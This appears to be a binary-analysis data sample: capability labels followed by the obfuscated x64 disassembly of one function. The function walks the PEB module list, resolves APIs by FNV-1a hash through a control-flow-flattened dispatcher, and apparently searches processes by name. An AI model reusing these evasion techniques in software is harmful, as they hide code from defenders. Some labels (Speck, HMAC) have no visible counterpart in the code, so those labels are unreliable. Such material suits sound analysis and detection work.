Function at 0x14012ae68
Capabilities:
Access peb ldr_data
Authenticate hmac
Encrypt data using speck
Get number of processors
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
push rax
pushf
mov eax, 0xa7512d68
pushf
not eax
add eax, 0x9b2d2246
xor eax, 0x9c57a1b2
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xfb6aa34c
xor eax, 0x97c39e66
rol eax, 0xa5
popf
pushf
not eax
add eax, 0xe3100e3e
xor eax, 0x83814fe9
rol eax, 4
popf
cmp eax, 0x20
jne 0x14012aeb8
popf
pop rax
jmp 0x14012c13e
cmp eax, 0
jne 0x14012aec7
popf
pop rax
jmp 0x14012b0f2
cmp eax, 3
jne 0x14012aed6
popf
pop rax
jmp 0x14012b286
cmp eax, 1
jne 0x14012aee5
popf
pop rax
jmp 0x14012b168
cmp eax, 0xd
jne 0x14012aef4
popf
pop rax
jmp 0x14012b77e
cmp eax, 0x1a
jne 0x14012af03
popf
pop rax
jmp 0x14012be17
cmp eax, 0xe
jne 0x14012af12
popf
pop rax
jmp 0x14012b7e6
cmp eax, 0xb
jne 0x14012af21
popf
pop rax
jmp 0x14012b63a
cmp eax, 0x19
jne 0x14012af30
popf
pop rax
jmp 0x14012bdcf
cmp eax, 8
jne 0x14012af3f
popf
pop rax
jmp 0x14012b4af
cmp eax, 0x1d
jne 0x14012af4e
popf
pop rax
jmp 0x14012bf9d
cmp eax, 0x17
jne 0x14012af5d
popf
pop rax
jmp 0x14012bca8
cmp eax, 0x1c
jne 0x14012af6c
popf
pop rax
jmp 0x14012bf5b
cmp eax, 0x12
jne 0x14012af7b
popf
pop rax
jmp 0x14012ba3c
cmp eax, 0x18
jne 0x14012af8a
popf
pop rax
jmp 0x14012bd3b
cmp eax, 0x11
jne 0x14012af99
popf
pop rax
jmp 0x14012b9ba
cmp eax, 0x1b
jne 0x14012afa8
popf
pop rax
jmp 0x14012beb3
cmp eax, 0x21
jne 0x14012afb7
popf
pop rax
jmp 0x14012c1c0
cmp eax, 0x23
jne 0x14012afc6
popf
pop rax
jmp 0x14012c29f
cmp eax, 0x25
jne 0x14012afd5
popf
pop rax
jmp 0x14012c3ab
cmp eax, 0xf
jne 0x14012afe4
popf
pop rax
jmp 0x14012b8cd
cmp eax, 0x13
jne 0x14012aff3
popf
pop rax
jmp 0x14012bacd
cmp eax, 0x15
jne 0x14012b002
popf
pop rax
jmp 0x14012bb94
cmp eax, 0x24
jne 0x14012b011
popf
pop rax
jmp 0x14012c376
cmp eax, 0x1e
jne 0x14012b020
popf
pop rax
jmp 0x14012c089
cmp eax, 0xc
jne 0x14012b02f
popf
pop rax
jmp 0x14012b6d6
cmp eax, 0x26
jne 0x14012b03e
popf
pop rax
jmp 0x14012c3e2
cmp eax, 5
jne 0x14012b04d
popf
pop rax
jmp 0x14012b3db
cmp eax, 0x1f
jne 0x14012b05c
popf
pop rax
jmp 0x14012c0bf
cmp eax, 0x10
jne 0x14012b06b
popf
pop rax
jmp 0x14012b902
cmp eax, 6
jne 0x14012b07a
popf
pop rax
jmp 0x14012b410
cmp eax, 9
jne 0x14012b089
popf
pop rax
jmp 0x14012b566
cmp eax, 4
jne 0x14012b098
popf
pop rax
jmp 0x14012b2ee
cmp eax, 0x16
jne 0x14012b0a7
popf
pop rax
jmp 0x14012bbfd
cmp eax, 2
jne 0x14012b0b6
popf
pop rax
jmp 0x14012b217
cmp eax, 0xa
jne 0x14012b0c5
popf
pop rax
jmp 0x14012b5a1
cmp eax, 0x22
jne 0x14012b0d4
popf
pop rax
jmp 0x14012c264
cmp eax, 0x14
jne 0x14012b0e3
popf
pop rax
jmp 0x14012bb1b
cmp eax, 7
jne 0x14012b0f2
popf
pop rax
jmp 0x14012b4a2
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x150
mov rax, qword gs:[0x60]
mov rbp, rcx
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x7178730f
pushf
not eax
add eax, 0x803896f7
xor eax, 0xfe6e96ca
rol eax, 0x2d
popf
pushf
not eax
add eax, 0xe0f9f2bb
xor eax, 0xc63e331e
rol eax, 0xc0
popf
pushf
not eax
add eax, 0x81591aad
xor eax, 0xb4ef12f3
rol eax, 0x1f
popf
jmp 0x14012aea9
mov r10, qword [rax + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
push r10
not r10
sub rbx, r10
pop r10
sub rbx, 1
cmp rbx, r10
je 0x14012b1d1
push rax
pushf
mov eax, 0x79289f2
pushf
not eax
add eax, 0x9dcfac86
xor eax, 0xe90a1698
rol eax, 0x22
popf
pushf
not eax
add eax, 0x86e63eb3
xor eax, 0xeb2ce721
rol eax, 0x83
popf
pushf
not eax
add eax, 0xa4be5280
xor eax, 0x9b92075c
rol eax, 0xf8
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x574e0215
pushf
not eax
add eax, 0xc9831d12
xor eax, 0xf527de2a
rol eax, 0x4b
popf
pushf
not eax
add eax, 0xca47f565
xor eax, 0xe3840723
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xe8e9c4df
xor eax, 0xe26f707e
rol eax, 8
popf
jmp 0x14012aea9
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14012b253
push rax
pushf
mov eax, 0x948df3ea
pushf
not eax
add eax, 0xb5e2df72
xor eax, 0x8e1f2318
rol eax, 8
popf
pushf
not eax
add eax, 0xfcafe207
xor eax, 0xb0d74257
rol eax, 0xac
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x7aa50556
pushf
not eax
add eax, 0xbd940bc4
xor eax, 0xe603ce3e
rol eax, 0x2f
popf
pushf
not eax
add eax, 0xed4760e7
xor eax, 0x891d8ee0
rol eax, 0x9c
popf
jmp 0x14012aea9
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0xa1345a5c
pushf
not eax
add eax, 0xd3b7744c
xor eax, 0xed14909d
rol eax, 0xb6
popf
pushf
not eax
add eax, 0xc286e2e0
xor eax, 0xb94fbdf5
rol eax, 0x5b
popf
pushf
not eax
add eax, 0xfbb6cf59
xor eax, 0xb2a4a5ca
rol eax, 0x44
popf
pushf
not eax
add eax, 0xead2f35d
xor eax, 0x834ce9bc
rol eax, 0xad
popf
jmp 0x14012aea9
dec r9d
mov r8d, 0xbc92014e
pushf
not r8d
add r8d, 0xb7adf376
xor r8d, 0xc43eff80
rol r8d, 0xb8
popf
pushf
not r8d
add r8d, 0xac38deaf
xor r8d, 0xff315890
rol r8d, 0x5c
popf
pushf
not r8d
add r8d, 0x95ff10db
xor r8d, 0xc2198ae5
rol r8d, 0xc
popf
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14012b395
push rax
pushf
mov eax, 0xf7727369
pushf
not eax
add eax, 0xa724b11c
xor eax, 0xc9eabf78
rol eax, 0x21
popf
pushf
not eax
add eax, 0xa4510472
xor eax, 0xd79ffc5d
rol eax, 0x39
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x4998e216
pushf
not eax
add eax, 0x8b184f51
xor eax, 0xc2fdd633
rol eax, 0x1f
popf
pushf
not eax
add eax, 0xec7e4437
xor eax, 0xc6742072
rol eax, 0xb8
popf
pushf
not eax
add eax, 0xa30f42c1
xor eax, 0xe22259fa
rol eax, 0x16
popf
jmp 0x14012aea9
nop
push rax
pushf
mov eax, 0x8b6e07e4
pushf
not eax
add eax, 0xa5345782
xor eax, 0xc61fec83
rol eax, 0xe6
popf
pushf
not eax
add eax, 0xd12dc76e
xor eax, 0xdac4f9b6
rol eax, 0xf8
popf
jmp 0x14012aea9
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14012b45c
push rax
pushf
mov eax, 0xcaa64be8
pushf
not eax
add eax, 0x9dc177c7
xor eax, 0xdbdadd65
rol eax, 0x2b
popf
pushf
not eax
add eax, 0xd7849371
xor eax, 0xc7cf7b2a
rol eax, 0xb2
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0xcad43d82
pushf
not eax
add eax, 0xaa116831
xor eax, 0xe176ac06
rol eax, 0x45
popf
pushf
not eax
add eax, 0xece356ca
xor eax, 0xecaa46ef
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xf93f9745
xor eax, 0x8da8af58
rol eax, 0x66
popf
jmp 0x14012aea9
cmp r8d, 0xb69b9435
je 0x14012b5a1
test r9d, r9d
jne 0x14012b50d
push rax
pushf
mov eax, 0xce1d9efd
pushf
not eax
add eax, 0xd8676fbd
xor eax, 0xde250801
rol eax, 0xcb
popf
pushf
not eax
add eax, 0xa5b302af
xor eax, 0xfb98636f
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xdbf8c5e5
xor eax, 0xe49285c6
rol eax, 0xbe
popf
pushf
not eax
add eax, 0x82d84b89
xor eax, 0xed756d21
rol eax, 4
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0xfc7c18e9
pushf
not eax
add eax, 0xd6bd5649
xor eax, 0xb2e59cf1
rol eax, 0x18
popf
pushf
not eax
add eax, 0xa721357a
xor eax, 0xb48ead67
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xcdc1a74a
xor eax, 0x8386bbc4
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xa2546ad5
xor eax, 0xea4ba5e7
rol eax, 0x6c
popf
jmp 0x14012aea9
mov rax, qword [rax]
jmp 0x14012b168
mov ecx, dword [rbx + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
xor edx, edx
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
lea ecx, [rdx + 2]
jmp 0x14012b5df
call rax
mov dword [rsp + 0x20], 0x130
mov rsi, rax
mov rcx, qword gs:[0x60]
mov rcx, qword [rcx + 0x18]
mov rcx, qword [rcx + 0x10]
nop word [rax + rax]
push rax
pushf
mov eax, 0xce2c9c37
pushf
not eax
add eax, 0x9d93ce12
xor eax, 0xb912f3dd
rol eax, 0xcc
popf
pushf
not eax
add eax, 0xb87604c5
xor eax, 0x9c558d5f
rol eax, 0x82
popf
jmp 0x14012aea9
mov r10, qword [rcx + 0x30]
movsxd rdx, dword [r10 + 0x3c]
mov ebx, dword [rdx + r10 + 0x88]
push r10
not r10
sub rbx, r10
pop r10
sub rbx, 1
cmp rbx, r10
je 0x14012b690
push rax
pushf
mov eax, 0xbdc7d16
pushf
not eax
add eax, 0x89e15a98
xor eax, 0x8b4e87f8
rol eax, 0x9f
popf
pushf
not eax
add eax, 0x9af71cec
xor eax, 0xa051ef6f
rol eax, 0x5c
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x8d0e057e
pushf
not eax
add eax, 0x8aebb053
xor eax, 0xda80db01
rol eax, 0x2a
popf
pushf
not eax
add eax, 0x9dc77611
xor eax, 0x95bf64fc
rol eax, 0x75
popf
pushf
not eax
add eax, 0x94c5dd01
xor eax, 0xe0ae2518
rol eax, 0xcb
popf
jmp 0x14012aea9
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14012b725
push rax
pushf
mov eax, 0x2a1e7229
pushf
not eax
add eax, 0xf6ad2e58
xor eax, 0xaf0bf7e9
rol eax, 0x68
popf
pushf
not eax
add eax, 0x9b75966d
xor eax, 0xae873f7e
rol eax, 0xc9
popf
pushf
not eax
add eax, 0xff2e03e1
xor eax, 0xa14d145b
rol eax, 0x7e
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0xc5fb7ca8
pushf
not eax
add eax, 0x8ed5c64e
xor eax, 0xaf8e83df
rol eax, 0x87
popf
pushf
not eax
add eax, 0xb3292791
xor eax, 0xb0d0c23f
rol eax, 0x40
popf
pushf
not eax
add eax, 0xe582c1f7
xor eax, 0xafe61a79
rol eax, 0x63
popf
pushf
not eax
add eax, 0xfd5720f6
xor eax, 0xe90b0111
rol eax, 0xfd
popf
jmp 0x14012aea9
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x759519bd
pushf
not eax
add eax, 0x98f8f21e
xor eax, 0x8bc5400d
rol eax, 0x52
popf
pushf
not eax
add eax, 0xec092ed4
xor eax, 0xf592d15b
rol eax, 0x46
popf
pushf
not eax
add eax, 0xcfa7afc3
xor eax, 0x9b510486
rol eax, 0x5c
popf
pushf
not eax
add eax, 0x9ceb3e52
xor eax, 0x889f2916
rol eax, 0x23
popf
jmp 0x14012aea9
dec r9d
mov r8d, 0xde06465f
pushf
not r8d
add r8d, 0x89ca4c68
xor r8d, 0x86e95dda
rol r8d, 0x4b
popf
pushf
not r8d
add r8d, 0x9f639862
xor r8d, 0xca711bc3
rol r8d, 0x35
popf
lea rax, [rdi + r9*4]
mov edx, dword [rax + r10]
push r10
not r10
sub rdx, r10
pop r10
sub rdx, 1
movzx eax, byte [rdx]
inc rdx
test al, al
je 0x14012b874
push rax
pushf
mov eax, 0x36394d3a
pushf
not eax
add eax, 0xeee1dcba
xor eax, 0x89a1d378
rol eax, 0x19
popf
pushf
not eax
add eax, 0xe7926ffe
xor eax, 0xd93f5d45
rol eax, 0x10
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x676adc86
pushf
not eax
add eax, 0xa8707457
xor eax, 0xab4a06cc
rol eax, 0xea
popf
pushf
not eax
add eax, 0xcce9c106
xor eax, 0xb25fa9d0
rol eax, 0xa1
popf
pushf
not eax
add eax, 0xd8dc605c
xor eax, 0x94e657d9
rol eax, 0x8d
popf
pushf
not eax
add eax, 0xfa8ebea8
xor eax, 0xe27b6543
rol eax, 0x5f
popf
jmp 0x14012aea9
nop
push rax
pushf
mov eax, 0x189a0811
pushf
not eax
add eax, 0xc46190aa
xor eax, 0xb0b6761d
rol eax, 0xb
popf
pushf
not eax
add eax, 0x8be3d35e
xor eax, 0xfbefaa02
rol eax, 0xdd
popf
jmp 0x14012aea9
movsx eax, al
lea rdx, [rdx + 1]
xor eax, r8d
imul r8d, eax, 0x1000193
movzx eax, byte [rdx - 1]
test al, al
jne 0x14012b961
push rax
pushf
mov eax, 0xcc049d70
pushf
not eax
add eax, 0x81f493e2
xor eax, 0xf05d6625
rol eax, 0xb5
popf
pushf
not eax
add eax, 0x90217baa
xor eax, 0xd2f63357
rol eax, 0x5d
popf
pushf
not eax
add eax, 0xebbcadab
xor eax, 0xe0cfdeea
rol eax, 0x54
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0xf8ca7a4
pushf
not eax
add eax, 0xfcec9b90
xor eax, 0x9f0b027f
rol eax, 0xd9
popf
pushf
not eax
add eax, 0xd9e12d12
xor eax, 0x8790dfa7
rol eax, 0x88
popf
pushf
not eax
add eax, 0xf1edbfbf
xor eax, 0xdf6ff3d1
rol eax, 0xd
popf
pushf
not eax
add eax, 0xbb2c9bed
xor eax, 0xe2c1d08d
rol eax, 0xe
popf
jmp 0x14012aea9
cmp r8d, 0xa58bf96d
je 0x14012b9f6
push rax
pushf
mov eax, 0xa07df7e7
pushf
not eax
add eax, 0xaf590b04
xor eax, 0xaf3e260f
rol eax, 0xd6
popf
pushf
not eax
add eax, 0xdbec863b
xor eax, 0x9e040ced
rol eax, 9
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0xb7ec57ad
pushf
not eax
add eax, 0xe705021d
xor eax, 0xdd772102
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xb8ec2130
xor eax, 0xfc5236d4
rol eax, 0x96
popf
pushf
not eax
add eax, 0x8dcbb6d1
xor eax, 0xc23d2b28
rol eax, 0xe9
popf
jmp 0x14012aea9
test r9d, r9d
jne 0x14012ba87
push rax
pushf
mov eax, 0x32443c64
pushf
not eax
add eax, 0xfc8031f2
xor eax, 0xc8f31278
rol eax, 0x95
popf
pushf
not eax
add eax, 0x8e3f43f2
xor eax, 0xe0fa635e
rol eax, 0x61
popf
pushf
not eax
add eax, 0xd70d7f33
xor eax, 0xf8dc6c1c
rol eax, 0x6d
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x5e7032a4
pushf
not eax
add eax, 0xc9d5e1b2
xor eax, 0xcc3749f2
rol eax, 0xdc
popf
pushf
not eax
add eax, 0xb5b85244
xor eax, 0x992abd61
rol eax, 0x54
popf
pushf
not eax
add eax, 0xb0bc4766
xor eax, 0xc26a20cc
rol eax, 0x49
popf
jmp 0x14012aea9
mov rcx, qword [rcx]
jmp 0x14012b63a
mov ecx, dword [rbx + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x20]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
mov rcx, rsi
jmp 0x14012bb5c
call rax
nop dword [rax]
push rax
pushf
mov eax, 0x21c3f4c0
pushf
not eax
add eax, 0xa52ea31d
xor eax, 0xd910c852
rol eax, 0xd8
popf
pushf
not eax
add eax, 0x95f5b506
xor eax, 0x879b383f
rol eax, 0x1b
popf
jmp 0x14012aea9
lea rax, [rsp + 0x4c]
mov r8, rbp
sub r8, rax
nop dword [rax + rax]
push rax
pushf
mov eax, 0xd919202a
pushf
not eax
add eax, 0xd3dab45c
xor eax, 0xf32dc8d9
rol eax, 0x1b
popf
pushf
not eax
add eax, 0xfb482bef
xor eax, 0x99be3be5
rol eax, 0x16
popf
pushf
not eax
add eax, 0xd4d7ff45
xor eax, 0xef818c5e
rol eax, 0x41
popf
pushf
not eax
add eax, 0xdaf5229d
xor eax, 0xf3e7deef
rol eax, 0x2d
popf
jmp 0x14012aea9
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14012bc4f
push rax
pushf
mov eax, 0xeb47f1a3
pushf
not eax
add eax, 0xf9561c70
xor eax, 0xee4c550f
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xb9b18f42
xor eax, 0x917f5bb5
rol eax, 0x98
popf
pushf
not eax
add eax, 0xc146b8fe
xor eax, 0xec4e6a6d
rol eax, 0x6f
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0xa2140c6d
pushf
not eax
add eax, 0xd24a01e5
xor eax, 0xb94d5ee9
rol eax, 0x1c
popf
pushf
not eax
add eax, 0x9c7bc7c9
xor eax, 0x948eaf85
rol eax, 0xa4
popf
pushf
not eax
add eax, 0xe0c98599
xor eax, 0xfa94f9c2
rol eax, 0x1a
popf
pushf
not eax
add eax, 0xeca37565
xor eax, 0x9a60a2d1
rol eax, 4
popf
jmp 0x14012aea9
inc rax
test ecx, ecx
jne 0x14012bce2
push rax
pushf
mov eax, 0xe53b36a6
pushf
not eax
add eax, 0xb6ff708e
xor eax, 0xeae5bb83
rol eax, 0xec
popf
pushf
not eax
add eax, 0xd0a63f87
xor eax, 0x887ffbd4
rol eax, 0x47
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x447f1793
pushf
not eax
add eax, 0xfa438747
xor eax, 0x9498fecf
rol eax, 0x27
popf
pushf
not eax
add eax, 0xdb9daf7f
xor eax, 0xfbfe0dc0
rol eax, 0x47
popf
pushf
not eax
add eax, 0xb956946f
xor eax, 0x9d9f1db7
rol eax, 0x34
popf
pushf
not eax
add eax, 0xd1b5079d
xor eax, 0xc3e5232a
rol eax, 0xa
popf
jmp 0x14012aea9
test edx, edx
je 0x14012bd89
push rax
pushf
mov eax, 0x793c1479
pushf
not eax
add eax, 0xdb0b7b68
xor eax, 0xd0415247
rol eax, 0x28
popf
pushf
not eax
add eax, 0x910abb55
xor eax, 0xd2318789
rol eax, 0x72
popf
pushf
not eax
add eax, 0xe2a074fd
xor eax, 0x89f5371e
rol eax, 0x9a
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x3fcbdd5a
pushf
not eax
add eax, 0xc8200087
xor eax, 0x9f4dbe07
rol eax, 0x96
popf
pushf
not eax
add eax, 0xd22e589c
xor eax, 0xb6889f3e
rol eax, 0x9a
popf
pushf
not eax
add eax, 0xc366b310
xor eax, 0x9a0b32db
rol eax, 0x8e
popf
jmp 0x14012aea9
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
push rax
pushf
mov eax, 0xfbef8b36
pushf
not eax
add eax, 0xda78bd50
xor eax, 0x94d6eca9
rol eax, 0xa7
popf
pushf
not eax
add eax, 0xba07ccfc
xor eax, 0x8a7074d6
rol eax, 0xe
popf
jmp 0x14012aea9
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
push r10
not r10
sub rbx, r10
pop r10
sub rbx, 1
cmp rbx, r10
je 0x14012be80
push rax
pushf
mov eax, 0xa1d11a89
pushf
not eax
add eax, 0xd4747332
xor eax, 0xf32b860a
rol eax, 0xbc
popf
pushf
not eax
add eax, 0xa4541f3c
xor eax, 0x90694d06
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xfb94eb34
xor eax, 0x9bf39fae
rol eax, 0xbe
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x5fb14898
pushf
not eax
add eax, 0xc4512ccf
xor eax, 0x8a22539c
rol eax, 0xea
popf
pushf
not eax
add eax, 0x9a02963f
xor eax, 0xa323eaa6
rol eax, 0x80
popf
jmp 0x14012aea9
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14012bf02
push rax
pushf
mov eax, 0xdb0d2498
pushf
not eax
add eax, 0x82f009d7
xor eax, 0xef64b391
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf264efae
xor eax, 0xb4d87fac
rol eax, 0xc0
popf
pushf
not eax
add eax, 0xce756811
xor eax, 0xdc9747e3
rol eax, 0x1d
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x4223ba47
pushf
not eax
add eax, 0xfd0bd5a3
xor eax, 0x9335967d
rol eax, 0xce
popf
pushf
not eax
add eax, 0xbcfe99be
xor eax, 0x9952c68b
rol eax, 0x64
popf
pushf
not eax
add eax, 0x857033f1
xor eax, 0x8a4dffd9
rol eax, 0xd2
popf
pushf
not eax
add eax, 0x984407bd
xor eax, 0xf41c14c3
rol eax, 0x4d
popf
jmp 0x14012aea9
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
push rax
pushf
mov eax, 0x5eb1d488
pushf
not eax
add eax, 0xb5dfcb67
xor eax, 0xc7055813
rol eax, 0xfa
popf
pushf
not eax
add eax, 0xe18d527e
xor eax, 0xab4cafb6
rol eax, 0x9e
popf
jmp 0x14012aea9
dec r9d
mov r8d, 0xd609335e
pushf
not r8d
add r8d, 0xc46d3281
xor r8d, 0xcad6bae7
rol r8d, 0x7d
popf
pushf
not r8d
add r8d, 0x8742ff39
xor r8d, 0xf2621630
rol r8d, 0x6a
popf
pushf
not r8d
add r8d, 0xec4c5051
xor r8d, 0x851e9926
rol r8d, 0x9f
popf
lea rcx, [r10 + r9*4]
mov ecx, dword [rcx + rdi]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14012c043
push rax
pushf
mov eax, 0x9ec7cb54
pushf
not eax
add eax, 0xc4968444
xor eax, 0xd5617962
rol eax, 3
popf
pushf
not eax
add eax, 0xd142a7b3
xor eax, 0x8bc49b40
rol eax, 0xe3
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x737d931a
pushf
not eax
add eax, 0x92cb819e
xor eax, 0xfa31a175
rol eax, 0x38
popf
pushf
not eax
add eax, 0xb315b0fc
xor eax, 0xdc303707
rol eax, 0x8f
popf
pushf
not eax
add eax, 0xbfc00e1f
xor eax, 0xbdea5e3f
rol eax, 0xa0
popf
jmp 0x14012aea9
nop dword [rax]
push rax
pushf
mov eax, 0x78c867ca
pushf
not eax
add eax, 0xe28e287f
xor eax, 0xeedb82c7
rol eax, 0xe8
popf
pushf
not eax
add eax, 0xb097c43b
xor eax, 0x93a550b3
rol eax, 0xac
popf
jmp 0x14012aea9
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14012c10b
push rax
pushf
mov eax, 0x49fc274a
pushf
not eax
add eax, 0x9f8ed1d3
xor eax, 0x84584d75
rol eax, 0x36
popf
pushf
not eax
add eax, 0x997ffa0e
xor eax, 0xba0b8754
rol eax, 0x28
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0xe1a4da55
pushf
not eax
add eax, 0xbe12ff3f
xor eax, 0xacb52a17
rol eax, 0xae
popf
pushf
not eax
add eax, 0xc2362f69
xor eax, 0xfe76934e
rol eax, 0xde
popf
jmp 0x14012aea9
cmp r8d, 0x712ee962
je 0x14012c18d
push rax
pushf
mov eax, 0x98d0d4ec
pushf
not eax
add eax, 0xdc1ce704
xor eax, 0xd15942d8
rol eax, 0xe2
popf
pushf
not eax
add eax, 0xf2cacc6f
xor eax, 0xe9676d34
rol eax, 0xa2
popf
pushf
not eax
add eax, 0xa0ab8c31
xor eax, 0x945ffc3e
rol eax, 0
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x285b8c06
pushf
not eax
add eax, 0xbb9b419f
xor eax, 0xd9c00ebf
rol eax, 0x6c
popf
pushf
not eax
add eax, 0xa4a6ead8
xor eax, 0xeef47628
rol eax, 0xc7
popf
jmp 0x14012aea9
test r9d, r9d
jne 0x14012c20b
push rax
pushf
mov eax, 0xaad9a0e1
pushf
not eax
add eax, 0xf92fba59
xor eax, 0xa27914bb
rol eax, 0xba
popf
pushf
not eax
add eax, 0x9c694a61
xor eax, 0xf9abb0ff
rol eax, 0xc5
popf
pushf
not eax
add eax, 0xbe957798
xor eax, 0xdc2d9cc1
rol eax, 3
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x43bca934
pushf
not eax
add eax, 0x82a45cd0
xor eax, 0x889f8ce5
rol eax, 0x66
popf
pushf
not eax
add eax, 0x949d7b21
xor eax, 0x9c53f566
rol eax, 0xf5
popf
pushf
not eax
add eax, 0x805e2e19
xor eax, 0xc6ed36cc
rol eax, 2
popf
pushf
not eax
add eax, 0xb4bb0c8f
xor eax, 0xda437a71
rol eax, 0x88
popf
jmp 0x14012aea9
mov rax, qword [rax]
jmp 0x14012be17
mov ecx, dword [rbx + 0x24]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
push r10
not r10
sub rcx, r10
pop r10
sub rcx, 1
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x20]
push r10
not r10
sub rax, r10
pop r10
sub rax, 1
mov rcx, rsi
jmp 0x14012c2e0
call rax
test eax, eax
jne 0x14012c31d
push rax
pushf
mov eax, 0x7aeccd6f
pushf
not eax
add eax, 0xb6e3a967
xor eax, 0xc13d730d
rol eax, 0x71
popf
pushf
not eax
add eax, 0xf1f32dfb
xor eax, 0x9ffd1c63
rol eax, 0xd8
popf
jmp 0x14012aea9
push rax
pushf
mov eax, 0x33bfdc
pushf
not eax
add eax, 0xf0d71801
xor eax, 0x984ed738
rol eax, 0x2c
popf
pushf
not eax
add eax, 0x8812daed
xor eax, 0xe4637411
rol eax, 0x9f
popf
pushf
not eax
add eax, 0xa66ef583
xor eax, 0xf95b1105
rol eax, 0x96
popf
pushf
not eax
add eax, 0xec41c722
xor eax, 0xd1c3616c
rol eax, 0x8a
popf
jmp 0x14012aea9
jmp 0x14012c3e2
mov eax, dword [rsp + 0x28]
push rax
pushf
mov eax, 0xd5798134
pushf
not eax
add eax, 0xcde7b5c2
xor eax, 0x83c0ff59
rol eax, 0xac
popf
pushf
not eax
add eax, 0xae499c80
xor eax, 0x8d8c54c5
rol eax, 0xa7
popf
jmp 0x14012aea9
lea r11, [rsp + 0x150]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret